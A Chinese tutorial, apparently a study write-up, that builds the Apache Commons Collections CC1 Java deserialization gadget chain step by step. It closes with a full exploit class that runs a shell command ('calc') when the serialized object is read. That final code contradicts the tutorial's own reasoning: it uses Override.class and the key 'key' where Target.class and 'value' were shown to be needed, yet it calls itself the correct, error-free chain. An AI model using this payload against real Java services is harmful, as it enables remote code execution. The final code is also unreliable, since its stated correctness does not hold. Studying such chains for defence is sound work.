CC 链背景介绍

- 大概回顾一下反序列化链全过程:

- 入口类:必须满足两点
这里注意寻找链子的过程是从后往前找。
CC1 链漏洞复现
大概的链子长这样:
AnnotationInvocationHandler.readObject()
AbstractInputCheckedMapDecorator$MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke("Runtime.exec()", "calc")
准备工作
- JDK 版本:8u65
- Maven 依赖:

新建一个 CCTest 类并写好序列化和反序列化的函数:

再新建一个 CC1Test 类用于待会漏洞复现。
链子寻找过程
在 IDEA 中按 Ctrl+N 搜索 Transformer


可以看到 Transformer 接收一个对象 input,然后进行一系列的操作,最终返回一个对象。
我们可以看看它的实现类有哪些:
- 光标放在 Transformer 接口上,右键点击
- 选择 Go to → Implementations


(为什么从 transform 开始找:它有很多实现类,其中有一些可以通过反射执行任意方法)
有一个 InvokerTransformer 类,我们点进去看一下:

public Object transform(Object input) {
Class<?> cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes); // 用存储的 methodName 和 paramTypes 找方法
return method.invoke(input, iArgs); // 用存储的 args 作为实际参数调用
}

可以看到这些参数在构造函数的时候就被传入并且赋值了,所以这里执行哪个对象的哪个方法,这些全部都是可控的。
那我们就可以尝试让它去执行一个危险方法:

- 第二个参数:告诉 Java 的反射机制“我要调用的那个方法,它的参数是 String 类型”。
- 第三个参数:告诉 Java“我实际传进去的参数值是 "calc" 这个字符串”。

点击运行,也是成功弹出计算器了。
到这里我们就从危险方法向前推进了一步,找到了一个中间类。
现在我们来看一下谁调用了 InvokerTransformer 类中的 transofrm 方法呢?按 Ctrl+Alt+Shift+F7 查找用法。然后找到了 TransformedMap 这个类中的 checkSetValue()方法

我们要让 valueTransformer 等于之前的 invokerTransformer
那么实际执行的就会是:
return invokerTransformer.transform(Runtime.getRuntime());
那么我们怎么给这个 valueTransformer 赋值呢?
可以看到这个构造方法中对它进行了赋值。

但这个访问级别是只有内部才能访问,而外部无法访问。所以我们是无法直接调这个构造方法的。
再看到这里有一个装饰方法,可以传入 valueTransformer,再调用构造方法。

所以:

现在赋值的问题解决了,还需要想办法调起这个 checkSetValue()
很显然这个 checkSetValue()也是无法直接调起的,因为它也是个 protected
那么怎么才能调起 checkSetValue 这个函数呢?
可以看到这个 setValue()函数里面调用了 checkSetvalue:

这个 setValue()是可以从外部调起的,于是现在我们关心的就是如何给 setValue()传入 Runtime.getRuntime();以及给 valueTransformer 赋值成 invokerTransformer。

在这个构造方法中,它把 map 传给了它的父类,

父类再把 map 传给父类的父类

父类的父类就把它传给的 map 赋值给了自身的属性。

在这个直接父类里,重写了 setValue()逻辑。它先把你注入过来的值给你转换一下,再给你写进 map 里面。
具体来说就是,被增强后的 TransformedMap 对象,在执行 Map.Entry.setValue()的时候,会被替换成重写后的 setValue()函数。
在这种情况下我们怎么去利用呢?我们可以先 new 一个自己的 Map:
HashMap<Object,Object> map=new HashMap<>();
然后我们可以在这个 Map 里放入一些值:
map.put("a","b");
我们通过 TransformedMap 对我们原先的原始 Map 做一下增强:
Map<Object,Object> decorated=TransformedMap.decorate(map,null,invokerTransformer);
最后返回的这个 Map 是增强过的。
最后调起增强过的 Map 的 setValue 方法:
for(Map.Entry<Object,Object> entry:decorated.entrySet()){
entry.setValue(Runtime.getRuntime());
}
完整 invokerExec2 代码:

可以看到成功弹出计算器

现在我们看看哪里调用了 setValue()方法(最好是入口类,重写了 readObject())
可以找到 AnnotationInvocationHandler 类:


到这里我们的链子基本就寻找结束了

但是还有一些问题。比如 如何让我们增强过的 Map 等于这个 TransformedMap?
(“增强”:新增了行为,但没有改变原有数据存储的本质。)

好消息是我们看到它是在构造方法这里赋值的:

坏消息是 AnnotationInvocationHandler 这个类不是 public 的,这个构造方法也不是 public 的。
但我们可以使用反射把它给构造出来:

1.然后通过反射去构造我们的入口类:
Class<?> clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
2.通过这个类拿到它的构造方法:
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
3.拿着这个构造方法去构造对象
Object o = constructor.newInstance(Target.class, decorated);
Map 要传我们增强过的 Map
接下来我们怎么调用这个类的 readObject()方法呢?由于这个类是私有的,不能从外部直接调起。
但是我们知道在反序列化的时候,它会调起这个重写的函数。而在反序列化之前,我们肯定要先对它进行序列化:

invokerExec3 完整代码:

现在还有一个问题:

我们需要先把这两层 if 给过掉,才能执行下面的代码。
- 第一层 if:memberType 不能等于空

这里又是一个 Map。
memberType.get("key")这里 get 一个已经存在的 key,才能保证 memberType 不为空。于是我们就需要知道它有什么 key。

这里拿到了注解对象,然后调用了注解对象的 memberType()

可以知道这里的 type 参数就是我们 AnnotationInvocationHandler 构造方法中传入的 type。
我们来看看这个注解对象的 memberType()返回的是什么东西呢?


运行一下:

可以看到 Target.class 里面有这个 value。
那么只需让 memberType.get(value),就可以过掉这层 if

Class<?> memberType=memberType.get(name);
如何让这个 name=value 呢?
for(Map.Entry<String,Object> memberValue : memberValues.entrySet()){
String name=memberValue.getKey();
遍历 memberValues.entrySet() 返回的集合中的每一个元素,每次循环将当前元素赋值给变量 memberValue(类型为 Map.Entry<String, Object>)
那我们点进去看看这个 memberValue 又如何控制呢?

这不就是我们一开始自己传入的那个增强 Map 吗?
那么就是:
memberType.get(map.key);

- 第二层 if:memberType 是可以实例化的
一般来说已经满足这个条件,所以第二层 if 自然而然就过掉了。
之后我们就走到了这里。

这里的值似乎是我们无法控制的。
有一种 transform 不管输入什么,都能返回固定的内容。
它就是 ConstantTransformer

可以看到我们 input 什么和它返回什么没有半毛钱关系,它始终返回一个常量。

这个常量是我们在构造这个类的时候传入的。
但是如果用这个 transform 的话,我们的链子就没了,因为没有 invoke。
好消息是这里还有一个 ChainedTransformer
我们来看一下它的源码:

它传入一个 Transformer 数组,然后链式调用数组里的这些 Transformer。前一个的输出是后一个的输入。就像这样:

那么我们就可以:


我们可以随便测试一下:
chainedTransformer.transform("随便不知道");

也是成功弹出了计算器。

点击运行,这里还有最后一个问题,那就是我们的 Runtime 其实是不能被反序列化的

但好消息是 Class 类是能反序列化的,它实现了序列化接口

所以我们的思路就是通过 Class 调用 Runtime.getRuntime()
1.新建一个 Class 变量
Class clazz=Runtime.class;
2.拿到它的方法
Method getRuntimeMethod=clazz.getDeclaredMethod("getRuntime",null);
3.通过 invoke 调用这个方法
Object invoke=getRuntimeMethod.invoke(null);


现在我们要解决的问题就是如何把这两段代码改造成 invokerTransformer
修改 test2()中的代码:

点击运行,成功弹出计算器

至此 CC1 链就结束了。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1FinalEXP {
public static void main(String[] args) throws Exception {
// 1. 构造核心命令执行链(唯一、正确、无报错的链)
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
// 2. 构造触发用的 Map
Map map = new HashMap();
map.put("key", "value");
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
// 3. 反射获取 AnnotationInvocationHandler(反序列化触发类)
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object annotationInvocationHandler = constructor.newInstance(Override.class, transformedMap);
// 4. 序列化 + 反序列化(触发漏洞)
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(annotationInvocationHandler);
oos.close();
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject(); // 触发!仅弹1次计算器
}
}
补 Java 基础语法知识点:











